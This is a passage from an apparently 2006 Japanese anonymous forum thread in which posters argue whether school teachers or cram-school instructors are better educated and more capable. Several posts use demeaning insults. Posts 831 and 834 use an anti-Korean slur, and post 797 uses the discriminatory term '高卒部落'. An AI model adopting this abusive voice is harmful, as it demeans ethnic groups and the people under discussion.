逆に「異常に学歴にこだわる」ケースのどちらかに行っちゃうんだよなあ。

そして、そういう子が良く主張するのが
「自分の考えは理屈に合っていて、わからない回りの人間の能力が低い」
「自分は正しい。違っているのは、受け取る方が誤解しているんだ」
「いろいろな障害のため(理由はいろいろ、自分以外が悪い)に
 今は受験をしないが、いつかはきちんと受験をする。そうすれば
 東大(別に京大でも、早稲田でもいいが)に受かるはず
 だから、障害が片付くまでは勉強よりも○○をする」

うんざりするほど、そういうのの相手をしたよ。
あ、別に君がそうだって言っているわけじゃないよ。
一般論ね。一般論。
大半の人間がそう思うよって話をしてるだけ。
別に君のことを悪く言っているわけじゃないから、気にしなくていいんだよ。



744 :実習生さん:2006/12/22(金) 22:20:47 ID:uqs/OxS0
社会的なステータスが高いのは学校教師でしょ。
「教員です」といったら「へー、そうなんですか」
「塾講師です」といったら「あぁ・・・そうなんですか」

745 :実習生さん:2006/12/22(金) 22:23:27 ID:+aNKlwxV
>>741
>考える過程がおもしろい
その過程も、研究者からしたら4+6=10くらいの
単純なものに過ぎないってことだ。
井の中の蛙ってこと。

>>742
その一般論は、どうやって導き出したのかな?
自分の周り数人がそうだと一般的だと思ってしまうのかな?
ま、駅弁君では到底知的な作業など無理なんだから、
黙って出席でも取ってろ。

746 :実習生さん:2006/12/22(金) 22:24:35 ID:+aNKlwxV
間違えた
>>743


747 :実習生さん:2006/12/22(金) 22:33:01 ID:5qvD9GLY
>>745
研究者とかどうでもいいんですけど…。俺にとっての「おもしろい発見」なんだから。
もしそれが無知と言うならば、それでいいよ。

んで、お前は全力で否定しそうだな。今あるものを詰め込む(できてると思い込む)だけなら、楽な仕事だな。

748 :実習生さん:2006/12/22(金) 22:38:03 ID:+aNKlwxV
>>747
塾講師だって“俺にとっての「おもしろい発見」”ならできるけど?
それも恐らく無知のレベルだろう。
しかし無知の知があるのとないのとでは違うと思うがな。

749 :実習生さん:2006/12/22(金) 22:41:39 ID:uqs/OxS0
なんかすげー低レベルな言い争いなのだが

750 :実習生さん:2006/12/22(金) 22:51:45 ID:5qvD9GLY
>>748
あ〜そうかもね。いいんじゃないの。仕事こなしてるなら。
塾でちゃんと教えられてるなら、君に教える能力が備わっているということ。
学歴とは別のところに「教える力」があるんでしょ。

751 :実習生さん:2006/12/22(金) 22:56:01 ID:S+yknBCv
子供の理科離れは、文系出身の教師が理科の授業をまともに教えられないのが原因
http://anime.2ch.net/test/read.cgi/news/1166793813/
http://mytown.asahi.com/tokyo/news.php?k_id=13000000612220001
>お茶の水女子大学(文京区)が北区と協定を結び、小中学校の理科の授業をサポートしている。
>同小の林四郎校長(58)は「小学校の教員は文系出身が多い。
>理科の授業に『恐怖感』を抱く人が目立つ」と指摘。

どんだけ駅弁教師って馬鹿なんだよw


752 :えれくち王 ◆Nk0j1Ogru. :2006/12/22(金) 23:04:51 ID:OONp84zc
>>751
え〜よく分からないけれど、東京都の小中学校教員で、
いわゆる『駅弁大学』出身の教員って少ないのでは?

753 :実習生さん:2006/12/22(金) 23:10:58 ID:S+yknBCv
あ、学芸大とか多いのかな?
でも学芸大って教員養成系の中ではレベル高いほうじゃなかったっけ?
そもそも小学校理科に『恐怖』って何…

754 :実習生さん:2006/12/22(金) 23:17:31 ID:uqs/OxS0
数学の講師やってるけど、小学社会を教えるのは怖いなぁ俺は。

755 :えれくち王 ◆Nk0j1Ogru. :2006/12/22(金) 23:19:02 ID:OONp84zc
>>753
学芸大あたりが多いはずでしょ?
まあ、学芸大も大したレベルではないけれど、
小学生を教えるのには十分なレベルのはず。

なぜ小学生相手に『恐怖』を感じるのかが疑問。


756 :実習生さん:2006/12/23(土) 01:03:54 ID:rbNFTwXQ
>>724
>生徒に解職運動を起こされて半年ほどでクビになった
普通生徒にそんな権限ない。
どこのDQN学校だよ。

757 :728:2006/12/23(土) 01:38:20 ID:yPWcC1KC
だ、誰もレスしてくれない・・・orz
ヽ(`Д´)ノモウイイヨ!!

758 :実習生さん:2006/12/23(土) 01:46:31 ID:BvgPfpdj
>>755
実際は学芸よりはるかに低学歴私大の香具師が大半を占める。
国立大受験には一応センターとはいえ理科が必要だが、私大受験には一切必要がないので勉強しないからな。
学芸が大半なら「指導に困難を感じる」ことはあっても「恐怖」は感じない。


759 :実習生さん:2006/12/23(土) 02:10:16 ID:6UptV34m
通りすがり
小学校教諭は文系理系以前に女性が多数なのだよ
だから文系が多いし理科は確かに弱い
恐怖を感じるかどうかはわからない怪しいもんだと思うけれど

760 :実習生さん:2006/12/23(土) 06:43:38 ID:rbNFTwXQ
女だから理数系は苦手というのは教師にあるまじき偏見だと思うがな。

761 :実習生さん:2006/12/23(土) 08:36:25 ID:6UptV34m
教師ではないのだがその傾向はあるのだよ

762 :主事さん:2006/12/23(土) 08:45:55 ID:hdCkInAp
>>728
>学校教師は  (途中略)
>他の公務員に比べたら全然安定してないじゃん。
そうですね。
>塾講師のほうが高学歴&学力高いってのには同意。
一部の「目立つ塾」と比べたらそうでしょうね。


>>755 >>758
755さんの疑問の答えを758さんが言ってくれています。
小学生に正しく理解させることってそんなに簡単じゃないですよ。
例えば
「国語や音楽なら理解させられるが理科がうまく行かない」
→「理科の指導に困難を感じる」
→「理科の授業をするのはもうイヤだ」=「理科の授業に恐怖感を感じる」
となるのです。
「指導に困難を感じる」→「指導法を研究・研修する」→「うまくやれそう」
→「実際に授業をしてうまく行った」→「もっと理科の授業がしたい」
と、こうならにゃきゃいけませんね。

>>760
経験則から出てくる一般論でしょう。テストの平均点など、全体的な傾向と
しては有意な差が出ますから。(男女の差がつきにくいテストをつくること
はできます)個人差が大きいことは教員の誰もが理解しているでしょうね。

763 :実習生さん:2006/12/23(土) 10:22:29 ID:r8qBdjTL
>>756
普通の私立男子校。
毎年、MARCH以上を150人程度コンスタントに出してる中堅校です。

764 :実習生さん:2006/12/23(土) 12:46:55 ID:oyyu+A/9
ヒント
小学校の教員免許

765 :実習生さん:2006/12/23(土) 20:29:01 ID:rbNFTwXQ
別にこのスレは「教え方」の上手い下手を議論するスレじゃないんだぜ?
あくまでも、学歴・学力でどちらが上かを議論するスレだ。
「教え方」も学力の一つと捉えるなら、一考の余地はあるがな。

766 :実習生さん:2006/12/23(土) 21:05:03 ID:xSLWe1X8
>>765
学力の定義によるだろうな。
一人孤独に、コツコツと受験参考書を解き続けて一生を終わる人のコトを話しても仕方ないだろうな。


767 :実習生さん:2006/12/23(土) 21:59:41 ID:rbNFTwXQ
>>766
で、どっちが上だと思う?

768 :実習生さん:2006/12/23(土) 22:42:31 ID:lwMMTSJP
100m が、速いのと
マラソン が、速いのと      どっちが偉いか?
柔道の金メダルと 水泳の金メダル どっちが偉いか?
一人孤独に解き続けるのはばかげてる。人生認められなきゃ損だと俺は思う。
結論は出ない。

769 :実習生さん:2006/12/24(日) 00:10:09 ID:PzLc9OqA
おかしいね
プロスポーツの指導者は現役時代華々しい結果を残した人ばかりなのに
教師は現役時代惨めな結果を残した人ばっかりだね。
何を教えれるのかね、自分もできないのに。






メジャーの監督はどうたらとか言い出すなよwwwww

770 :実習生さん:2006/12/24(日) 00:13:22 ID:mqMIUfSc
マジレスすると、塾講師は学校で教えられないと思うね。
あまりにも理解度の悪すぎるガキ、やる気のなさ過ぎるガキが
学校にはたくさんいる。予備校のガキとは質が違う。
忍耐と根気と諦観のいる仕事よ教師は。

771 :実習生さん:2006/12/24(日) 00:18:54 ID:KVtOs8ta
>>769
ゴルフのレッスンプロって知ってる?
知らないからそんなことがかけるんだろうな。

772 :実習生さん:2006/12/24(日) 00:58:10 ID:PzLc9OqA
>>771

レッスンプロも知らないのか?ってどんな教養レベルだよwww
お前は体育教師かよwwwww
脳筋のスポーツプロに論理的科学的アプローチするのが役割だろうが。
だったら数学や英語文法を論理的科学的に教えてくれよwwww
いつからレッスンプロはテキスト丸読みするだけの存在になったんだよ

       『 駅弁』

773 :実習生さん:2006/12/24(日) 01:00:00 ID:PzLc9OqA
あ、途中で書き込んじゃった。
悪いな駅弁。
小中高大と馬鹿だった奴が教師面するなよ。
お前は中国人曰くの先生だからw

774 :実習生さん:2006/12/24(日) 01:00:53 ID:PzLc9OqA
>>770
だったら進学校でなぜクソ授業なのか説明してくれ。

775 :主事さん:2006/12/24(日) 01:13:36 ID:zv/wMNai
>>771
そうですね。プロにもいろいろいます。
ピアノ教室の先生もプロだし、スイミングクラブの指導者もプロ。
ゴルフのレッスンプロもプロ。指導する相手はプロじゃないけど。

で、>>769さんの言っているのは「プロスポーツの指導者」なんですね。
「町の少年チームの指導者」ではなく「プロ選手の指導者」なわけです。
つまり、「ある任意のスポーツの頂点を極める集団の指導者」ってこと
です。この、選ばれた極めて少数の人たちと巷にごまんといる一般教員
を比べること自体どうなんでしょうね。
「プロスポーツの指導者」と比べるなら「東大や京大の指導陣」と比べる
べきでしょう。塾なら東大京大合格率トップレベルの予備校。
(あ、教員が部活を指導しているのがウンタラカンタラってのはスレ違いですのでw)

776 :主事さん:2006/12/24(日) 01:25:32 ID:zv/wMNai
>>774
>進学校でなぜクソ授業なのか
横レスですが、その答えはとっても簡単です。
まあ、774さんが行ってた学校がたまたまクソ進学校だったのだと思いますが
(あ、これ思いこみです。失礼しましたw)、クソ授業をする先生方が、生徒
が学力的に優秀なのにあぐらをかいて努力を怠っているからですね。
>>770さんは進学校の話をしているわけではありませんしね。

ちなみに私見ですが、進学校の授業なら、学校の教員じゃなくても5年ぐらい
塾講師をやってた人なら誰でもやれると思いますよ。
でも、底辺校の授業は10年やっていようが20年やっていようが塾の経験は
余り役に立たないでしょう。(当然ながら例外あり。底辺っ子を相手にしてい
る塾もあります)

777 :実習生さん:2006/12/24(日) 01:26:44 ID:PzLc9OqA
>>775

だからさ、別に小中学校の教師はアホでも大学出ていたら何とか成り立つけど
進学校の生徒は東大・医学部行きたいわけですよ。
それなのに進学校の生徒を教える中に『ろくに授業もできない』駅弁や得体の知れない私大出の教師
入れるなといいたいんですよ。
地方だと特に悲惨でしょ。
県下一番の進学校だから授業きちんと聞いて予習復習すれば大丈夫と思って入る子もいるでしょ。
当然教師は「プロ野球の指導者」だと思ったら「草野球チームの自称指導者」が腐るほどいる。
だったら初めから
「私の授業では東大医学部はとても無理です。Z会や予備校行ってください」
とでも言って下さいですよ。


778 :実習生さん:2006/12/24(日) 01:33:04 ID:PzLc9OqA
>まあ、774さんが行ってた学校がたまたまクソ進学校だったのだと思いますが
>(あ、これ思いこみです。失礼しましたw)

あ、思い込みいらないからw
実際地方の県下一番って現実はクソ進学校ですね。

なんか時間差でもう回答書き込まれていて、すいません。
浪人で東京きて生まれて初めて予備校・塾の授業というものを受けて
「何で同じ科目で同じ範囲で同じ授業でこうも違うんだよ…」
と激しく思って後で出身県の教員名簿(県教師全員の住所電話番号学歴が載っている)を見て
駄目だコリャと思ったのがここで教師叩いている理由かもしれませんね。

779 :実習生さん:2006/12/24(日) 02:50:59 ID:5izoYKhR
どうでもいいけど、生徒は教師に期待してないから。
金八のビデオでも見てオナニーしてろ。

780 :実習生さん:2006/12/24(日) 02:59:03 ID:5izoYKhR
>>776
そりゃ、底辺校の教師は大変だろうね。
DQNに理解させることが大変なんじゃなくって(それは無理)、
生徒にいつ刺されるか分からないで教壇に乗ってるんだもんな。
教師って命がけの仕事だよ。
偉い!
お国のために殉職してくれ!

781 :実習生さん:2006/12/24(日) 03:14:56 ID:rjULPTBQ
受験問題の解法解説の上手さが学力と思っている時点で(ry

782 :実習生さん:2006/12/24(日) 03:39:14 ID:5izoYKhR
>>781
じゃあお前の思う学力って何だ?
生徒をイジメる力か?
体罰をする能力か?

783 :実習生さん:2006/12/24(日) 05:26:35 ID:mqMIUfSc
>>782
授業を受けさせる能力

784 :実習生さん:2006/12/24(日) 09:49:40 ID:whnArP4d
>>783
はいはい、とりあえず受験勉強やり直しとけ。




のような最終学歴どうにかしろ。
糞授業を受けても偏差値70とれねぇよ。
お前の授業はみんな内職してるだろ?
糞授業をきちんと受けたら糞大学しか行けない。
出藍の誉とは外れ値だからこそ誉になるんだよ。

785 :実習生さん:2006/12/24(日) 10:09:38 ID:8Ln05Zj1
塾講師は全員逮捕!

>「塾は禁止」 教育再生会議で野依座長が強調
>2006年12月23日22時55分
>
> 政府の教育再生会議の野依良治座長(ノーベル化学賞受賞者)が8日に開か
>れた「規範意識・家族・地域教育再生分科会」(第2分科会)で、「塾の禁
>止」を繰り返し主張していることが、同会議のホームページに掲載された議事
>要旨でわかった。しかし、再生会議が21日にまとめた第1次報告の原案には
>「塾の禁止」は盛り込まれていない。
>
> 議事要旨によると、野依氏は「塾はできない子が行くためには必要だが、普
>通以上の子供は塾禁止にすべきだ。公教育を再生させる代わりに塾禁止とす
>る」と再三にわたって強調。「昔できたことがなぜ今できないのか。我々は塾
>に行かずにやってきた。塾の商業政策に乗っているのではないか」と訴えた。asahi.com:「塾は禁止」 教育再生会議で野依座長が強調
ttp://www.asahi.com/national/update/1223/TKY200612230248.html

786 :実習生さん:2006/12/24(日) 11:40:33 ID:0bqq7niS
昔の生徒は「できないのは自分のせいだから、もっとがんばる」だったのが、
今の生徒は「さあ、俺たちに分からせてみろ。そうしたら授業を聞いてやる。東大行けないのは教師のせい!」
だもんな。

進学校から底辺校までそんな風潮だろ?大変だよな。

787 :実習生さん:2006/12/24(日) 11:43:53 ID:0bqq7niS
>>784
>糞授業を受けても偏差値70とれねぇよ

取れないのは自分のせいwwwwwww

788 :実習生さん:2006/12/24(日) 11:46:19 ID:whnArP4d
>>786


        駅 弁 教 師 必 死 だ な


底辺校で東大も糞もあるかよ。あ、お前は糞まみれだが。

789 :実習生さん:2006/12/24(日) 11:47:28 ID:whnArP4d
>>787
仮定法も分からないのか駅弁!!!
偏差値70くらい余裕で取れるよ、低学歴wwwwwwwwwww

790 :実習生さん:2006/12/24(日) 11:49:55 ID:whnArP4d
>昔の生徒は「できないのは自分のせいだから、もっとがんばる」だったのが

で頑張った結果が駅弁かよwwww


791 :実習生さん:2006/12/24(日) 11:50:03 ID:9KkVhOut
>>1
どんなに塾教師が優秀でも、それは東大をヒエラルキーの頂点に置いた
大学入試制度が基本になっていることを忘れないように。
いわば日本の教育制度が生み出した必要悪であるわけで、しかし、日本の
大学教育が日本を良い国にしているかというと、そうとはいえない部分に
塾教師がいつまで必要とされるかは、よくわからない。まだしばらくは
必要みたいだけどねえ。ある中高一貫進学校の校長が、この前、
「こんなに仕事もないような日本の社会に、果たして沢山の若者を
送り出していって、みんな食っていけるんだろうか?」と心配していた。
多分、そのとおりなんだろう。
すべての根源は日本の国のありかたと、大学教育をヒエラルキーとした
制度にある。
高等専門学校だけは、この範疇にはないが、これまた、マイスター制を
推し進めると、ドイツ病が我が国にも蔓延してしまうから問題ではある。

792 :実習生さん:2006/12/24(日) 12:39:48 ID:mqMIUfSc
なぜ塾講師の授業がいいかって、授業がよくないと食えないからだろ?
将来俺に娘ができたとして、塾講師の嫁にだけはやりたくない。
ある日突然職を失って、子ども育てながらパートで生活費を得る境遇に
だけはさせたくない。

学校の先生の嫁にだったら、やってもいい。
生活は安定してるし、遊ぶ金をパートで稼ぐにしても気楽にできる。
たまに生徒の同窓会に呼んでもらって、そいつらをもてなしたりしてな。
どうせ塾講師なんて同窓会開いてもらえないんだろ?
大学に受かってしまえばサヨナラ。大学に受からなければテメェのせいだボケ。

そんなことだから、こんなスレが立ってしまうんだな。
正直言って、同情心しかわかないんだが。

793 :実習生さん:2006/12/24(日) 12:47:00 ID:mqMIUfSc
だいたい能力の価値を学歴で測る時点でダメじゃん。
学歴なんて、一部の社会を覗いては就職の手段でしかない。
いったん就職してしまえば、個人の人間的能力の世界。

その辺の部分が抜け落ちてるってことは、しょせん学生か、
学生のレベルでストップしてしまった「大人子ども」がこのスレ
を立てたんだろ。とりあえず社会の荒波に揉まれてから来なさい。

794 :実習生さん:2006/12/24(日) 13:24:35 ID:whnArP4d
結局、授業が糞。学歴も糞だと認めていますね。
塾講師って昔は学生運動の残りで就職できなかった人
今は資格浪人・院生・ODとかのバイトがほとんどですよ。
>学歴なんて、一部の社会を覗いては就職の手段でしかない。
手段ではなくて最低限のスタートラインですよ学歴は。
それすら手にできなかったから教師なろうなんて思うんでしょうが。
>いったん就職してしまえば、個人の人間的能力の世界。
で、教職についたら駅弁の能力の限界で、糞授業ですよ。
高学歴の片手間の授業に負けるなんてどんなプロ教師?

795 :実習生さん:2006/12/24(日) 13:34:49 ID:Vvsh+kOa
あたしは教師は好きじゃないけど、世間での教師の社会的地位は高いよ。
医者と教師って同じような認識のされ方だよ。
すごいめちゃくちゃ言われてても教師の地位は高いものがあるよ。




796 :実習生さん:2006/12/24(日) 13:39:11 ID:Vvsh+kOa
あたしのとこのお姉ちゃんが女子大卒業後、見合いで知り合った数学の高校の先生と、
半年の付き合いの後こないだ結婚したんだけど、
先生、礼儀正しいし、うちの親が先生に対してぺこぺこしてるくらい。
いまだに呼び名が「〜先生」だもんね。
でもすごいすごい礼儀正しい。
あたしは再来年大学受験なんで親戚に先生がいることが自慢かも。。
数学教えてもらえるし〜。

797 :実習生さん:2006/12/24(日) 13:40:17 ID:whnArP4d
どこの高卒部落の出身ですか?

798 :実習生さん:2006/12/24(日) 13:44:40 ID:Vvsh+kOa
>>797
高卒部落って?
うちの親が?
ううん、お父さんもお母さんもちゃんと大学出てるよ。(お母さんは短大)
兄弟の中ではあたしはバカやけどね^^;


799 :実習生さん:2006/12/24(日) 13:52:15 ID:vLEuJqeK
>>1はまぎれもない事実だから反論してるやつは教師
と現役学生が言ってみるテスト

800 :実習生さん:2006/12/24(日) 13:53:10 ID:MYieBNel
どうみても駅弁教師のネカマです
本当にありがとうございました

801 :実習生さん:2006/12/24(日) 13:59:42 ID:MYieBNel
しかし医者と教師が同じ認識のされ方って、カレーとウンコが同じと認識されるものですぜ。

802 :実習生さん:2006/12/24(日) 14:10:08 ID:BmDC0KlR
娘を嫁にいかすなら絶対に塾公はアウト、却下である。
娘をくれというものなら一発殴って追い返すのみ。
学生でもできるあんなアルバイトの延長線上のようなところには娘は行かせぬ。
やはり娘をやるなら一定の社会的信頼と、キチっとした職業である学校教師ですな。
今年、大学4年生になる息子でも中学生相手に塾で教えてるというのに、
塾公なんざ、バイトと同じだ。あれば職業ではない。就職したとはいわない。





803 :実習生さん:2006/12/24(日) 14:18:30 ID:MYieBNel
やっぱ息子さんも駅弁ですか?
中学生相手というところがポイントですな。

教師の学力・学歴・指導力・熱意全部否定されて最後は安定とかきちっとした職業いうけどさ。
だったら官僚や医者や弁護士や地上公務員とかなればよかったのにね。
駅弁だと無理だよね、悲しいね低学歴って。

804 :塾長:2006/12/24(日) 14:27:38 ID:q2VLgjft
>>802
塾長ですが塾講師でもありますが何か?
 一発殴って娘をもらえるなら耐えるでしょう。
 但し保護者面談に来てその石頭なら
 三発ぐらい殴らせてもらいますけどね・・・
 

805 :実習生さん:2006/12/24(日) 15:32:34 ID:MILM32xI
しかし、塾講が「駅弁w」とか見下してるけど、自分が受け持つ子どもの何割が駅弁以上行くんだよ?
いくら進学率が上がったっていったって、大学行くのでさえ5割にも満たないんだが。
まして駅弁以上なんて、最低ラインでも、全中学生の上位2割3割だろうよ。それでも95%の大人は就職できてる。

これからは下位の子どもも、どんどん塾に入ってくる時代だよ。普段からそんなこと意識してんの?
大多数の「駅弁にも行けない」子ども達にとって、おまえらみたいなやつに当たるのは不幸なことだ。
同業者として、疑問を禁じ得ない。

806 :塾長:2006/12/24(日) 15:52:02 ID:q2VLgjft
>>805
同意です。
 国公立に入れるのは年々大変ですから・・・
 
 

807 :実習生さん:2006/12/24(日) 16:14:21 ID:535NvA9G
○ 底辺校・DQNの相手・馬鹿親www
× 駅弁wwwww

同じ見下すのでもなぜ前者はよくて後者は駄目なのでしょうか?
大多数の底辺校の生徒は不幸ですねw


808 :実習生さん:2006/12/24(日) 16:17:08 ID:535NvA9G
>駅弁以上なんて、最低ラインでも、全中学生の上位2割3割

つまるところ上位2割の学力で人様に教えようとしているところに問題がある。


809 :実習生さん:2006/12/24(日) 16:53:27 ID:MILM32xI
>>807-808
すぐ極論だ…
俺は来るもの拒まずで、どんな人でもしっかり対応してる。
間違っていると思うことには、しっかり自分の意見をぶつけてる。
俺が疑問を感じるのは、積極的に人を見下すようなやつが、塾講であろうと子どもの前に立っているということ。

学歴基準で人を選別できるんだろうか…。多感な子どもに接する教師に必要なものは、学歴だけなのか。
身近なところで考えてみな。大人になった同窓生は、今でも良い飲み仲間だが。

810 :塾長:2006/12/24(日) 17:16:11 ID:q2VLgjft
うちも全く同じスタイルですね。

相手にしない方がいいですよ。
そいつはただ煽ってるだけみたいですから・・・
昔いましたから、東大の赤本を聖書みたいに持ち歩いてて
他の大学を見下していた多浪生が。

811 :実習生さん:2006/12/24(日) 17:57:19 ID:El/Onapq
>>809
俺が言いたいのは

『できもしないくせに教えるな』

これに尽きる。
>学歴基準で人を選別できるんだろうか…。
ある程度できるからこそ企業は学歴で最初のフィルタリングをしてます。

ここで散々学力も学歴も指導力もないことが証明されて結局
『職の安定』だけを勝ち誇っている教師さんたち。
クビにならないからゴミ授業している学力不足の教師が何を教えるの?

迷惑どころか有害な授業するな。
嘘教えるな。
適当にはぐらかしてすな。
はいはい答えるな。

>>810
あんたは客商売だからそりゃ選別しちゃいかんよ。

812 :実習生さん:2006/12/24(日) 18:05:50 ID:Uy/ntQo1
ルサンチマンって言葉は学校の先生のためにあるんだよね。
知的階級の最下層に位置して、激しい学歴コンプレックス。
生徒を叱るときにここぞとばかりに体罰でストレス発散。


813 :実習生さん:2006/12/24(日) 18:33:47 ID:0bqq7niS
公立高校の場合、
文系科目の教員はどうだか知らないけれど、
理系科目の教員は、たとえ駅弁卒であっても、
自分の専門教科は東大・東工大レベルの問題も解けて当たり前でしょう。
多少ミスはするかも知れないけれど、合格ラインは軽く超えるはずです。

予備校の先生みたいに、しょっちゅうレベルの高い子を相手にしているわけではないので、
レベルの高い課題を説明する段取りができていないかも知れませんが、
それは訓練次第で誰にもできるようになることであって……。

DQN生徒や保護者への対応、生徒指導などは、
このスレに若干1名ほどいらっしゃる学歴至上主義者の方にとっては本当にくだらないことで、
そんな業務にアイデンティティーを見出している教師がばからしくてしょうがないのでしょうが、
誰かがやらなくてはならない仕事ですし、実際やってみるとやりがいはありますし、
それをなくしては、学校での教科指導も成り立たないのですよ。

814 :実習生さん:2006/12/24(日) 18:36:13 ID:7bGqF3xn



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815 :実習生さん:2006/12/24(日) 18:38:06 ID:5izoYKhR
>>809
矛盾だらけだな。
>学歴基準で人を選別できるんだろうか…。
と言いつつ、
>まして駅弁以上なんて、最低ラインでも、全中学生の上位2割3割だろうよ。
と、ちゃっかり駅弁が高学歴だと主張。
高卒相手に「俺は国立だ」とか誇らしげにしていて、
自分より高学歴には「学歴なんて関係ない」とわめく。
典型的なお子様の思考だよ。
学歴以前に、精神年齢をあげてね。

816 :実習生さん:2006/12/24(日) 18:40:05 ID:5Hu3lyn8
教師に学歴コンプレックスがあるなんて初めて聞いた。
コンプレックスがあるのは親とか塾講師ばかりかと思った。
教師に学歴コンプレックス・・・気持ち悪い表現の仕方だ。
教師を否定したら、この世からまともな職業なんて消えてしまうよ。
世の中の秩序は学校があって教師がいて・・・じゃないのか?
俺は教師は意識する前に、本能的に尊敬してしまうよ。
俺は教師は普通に凄いと思う。そりゃ、俺も嫌いな教師もいたよ。
でも教師ってだけで尊敬してしまうよ。俺の中では教師は雲の上の存在。




817 :実習生さん:2006/12/24(日) 18:40:26 ID:Uy/ntQo1
>813

本気で言っていますか?
本気だとしたら教師が馬鹿にされる理由もわかりますね。


818 :実習生さん:2006/12/24(日) 18:43:45 ID:5izoYKhR
>>813
東大と東工大を一緒にする時点で説得力がない

>>816
つまらん

819 :実習生さん:2006/12/24(日) 18:43:55 ID:Uy/ntQo1
>816

あの、なんというか、頑張ってください。はい。

820 :実習生さん:2006/12/24(日) 18:49:07 ID:Z/aL4AIb
俺が思うには教師を否定してるのはDQNだと思う。
なぜそう思うかといえばDQN女子高生(援助交際三昧の女子高生)や、
チーマー、ヤンキーはみんな教師を否定しているから。
「教師ってよ、糞だよな、糞!」だとか「教師は氏ねや!!!」とか
暴言吐きまくってるDQN多いから。
塾講師はDQNと同レベルだと思う。俺は教師は素晴らしい職業だと
思うし、尊敬もしてる。頑張って欲しいと思う。



821 :実習生さん:2006/12/24(日) 18:53:22 ID:Z/aL4AIb
ちなみに俺の知ってる岡崎高校の数学の先生、愛知教育大学卒だよ。
ていうよりみんな愛知教育大出身だよ。ほとんど。2ちゃんで駅弁とか
散々言われてる大学な。
でも数学の先生にしろ、物理の先生にしろ、「大学への数学」という参考書の
問題もラクラク解くし、東大2次の入試問題も解き方を教えてくれる。
せんぜん低脳じゃないよ。師だよ、師。
そういう感動を経験した事がない人が教師を否定していると思う。
教師は俺は純粋に凄いと思うし、尊敬してるよ。



822 :実習生さん:2006/12/24(日) 19:00:42 ID:0bqq7niS
>>821
数学だけは名古屋大に負けませんよ、っていうタイプだったんだろうな。

駅弁の人は、専門科目だけ異常に突出している人が多い。

823 :実習生さん:2006/12/24(日) 19:02:58 ID:Uy/ntQo1
      r‐-、._ ,,. r─-、.,
    /"  ミミ/⌒   ヽ、\      生
    x 〃⌒ヾ / ⌒ \))ソ
    ド.〉 = 、 `〃ニヽ、ソ,ィ彡゙i      涯
    }ミ.i|ト⌒   ⌒ヾノ/:|〃イ
    〈_|゙((⌒   ヽリ/ i彡゙;)     現
   _ {,i ゙Yi⌒  )),ソ ,.  j彡ィ_
    ! .yi´``V、,, ,,..ノ"_ くィクf`l    役
    \゙.| `゜>t(イ ゞ゜'´ 〕くi ゙i
    ヽヽ   _| -、   /.i|.-'/    だ
     じ.ヽ トYj^ \  l ,/|_/
     ノi人‐< t_ヘ- ノ /从      も
     イリ|ト 〉-‐'"  /リハ!
      |!yノi    / iリソil        ん
      Y从ヽ-‐t"   }リ夊
       乂   /   /   \_,-、_  で
       ,. -‐v    ,/    ./、`´゙‐、


なぜかこれ思い出した。

824 :実習生さん:2006/12/24(日) 19:04:29 ID:0bqq7niS
>>820
ある程度の有識者が教師を貶めるから、
DQNも付和雷同して、なんだかんだ言うんだと思うよ。

有識者が教師に求める資質と、
DQNが教師に求める資質は全く違う。

でも、有識者がああだこうだ言っていると、
DQNも有識者の言葉を借りて、あれこれ言いたくなるんだろうね。

825 :実習生さん:2006/12/24(日) 19:05:06 ID:MILM32xI
>>815
矛盾してる?
全く選別しているつもりはありませんが。俺はどの生徒に対しても、対等に接してるつもり。
俺が言いたいのは、下位の生徒を軽蔑しながら授業をしているのかということ。出来ない子がいるのは事実。
その表現はあくまで便宜上、説明のために使用したまで。だから敢えて括弧づけで書いた。
卒業生で地方国立行った子は多数いるが、高校は皆県内トップレベル行ってるので、学力的には問題ないかと。

それから、俺は国立出身ではないので、あしからず。

826 :実習生さん:2006/12/24(日) 19:07:24 ID:5izoYKhR
>>821
岡崎高校はみんな内職してるし、予備校行ってる奴も多い

827 :実習生さん:2006/12/24(日) 19:11:30 ID:Uy/ntQo1
卒業生で地方国立行った子は多数いるが、高校は皆県内トップレベル行ってるので、学力的には問題ないかと。

1.学力的にはが生徒を修飾する場合。学力的には問題あります。
2.学力的にはが教師を修飾する場合。中学校教師なのかなぁ?と。
教師の指導力不足が圧倒的に露出するのは高校教師から。


828 :実習生さん:2006/12/24(日) 19:15:26 ID:5izoYKhR
>>825
カッコ付けで書いたってこれか?
>大多数の「駅弁にも行けない」
俺はそんなこと言ってるんじゃねーんだよ。
駅弁が上位2割3割だのと、学歴の有意味性を主張する一方で、
旧帝などの高学歴には「学歴は関係ない」と言ってるところが
矛盾しててバカ丸出しっていうこと。
>高校は皆県内トップレベル行ってるので
どこの県か知らんが、田舎の県立トップはものすごい低レベルだぞ。
ボーダーはな。上位層にすごいのはいるが。
全国的に見て県立トップなんて、ほとんど価値ないぞ。

829 :実習生さん:2006/12/24(日) 19:25:14 ID:KLwtoe5N
825 が 中学の先生だったら 馬鹿だな。
意味がわからん。

830 :実習生さん:2006/12/24(日) 19:28:31 ID:MILM32xI
>>828
…。どうしても学歴に意味を見出したいのね…。
何度も書くが、そういう現実の中で、どういう態度(または内心)で出来ない子に接してるのか聞きたいわけ。
俺のレス一通り読めよ。教師云々よりも、塾講としての心構えを聞いての。
同じ塾講として、嫌悪感さえ感じるわ。

んで、地域は首都圏。
トップ校から教員志望で敢えて行く子もいるから、中学レベルなら無問題だと思う。

831 :実習生さん:2006/12/24(日) 19:38:19 ID:5izoYKhR
>>830
チョンは日本語勉強してから教師になってください。
「そういう現実」ってどういう現実だよw
それと、勝手に塾講になりすますなよ。

832 :実習生さん:2006/12/24(日) 19:40:18 ID:Uy/ntQo1
>トップ校から教員志望で敢えて行く子もいるから
現実はいないよ。首都圏で教員志望なら学芸大とか千葉とか筑波とか早稲田でもいいわけでしょ。
何の為に都落ちして駅弁教育学部いかなきゃいけないのよ。お金もかかるし。
学力不足を誤魔化すための方便。

833 :実習生さん:2006/12/24(日) 19:41:24 ID:Uy/ntQo1
というかあなたの文もうちょっとなんとかなりませんか?


834 :実習生さん:2006/12/24(日) 19:42:37 ID:5izoYKhR
>>833
そいつチョンだからw
チョン枠で教師になったんじゃないのw

835 :実習生さん:2006/12/24(日) 19:54:19 ID:Uy/ntQo1
>>834
なんか気持ち悪いですよね、文全体がw



836 :実習生さん:2006/12/24(日) 19:55:04 ID:t4KVE2MN
教師は政治家も育てるし、医師も育てるし、ビジネスマンも育てるし、全ての原点だと思う。
どんなエリートでも教え子になるわけでしょ、教師って。
同窓会に行っても、大きく出世してる人もいるけど「先生、元気でしたか?」「先生、お変わりはありませんか?」って感じだよ。
先生は特別扱いだね。






837 :実習生さん:2006/12/24(日) 20:01:54 ID:MILM32xI
>>831
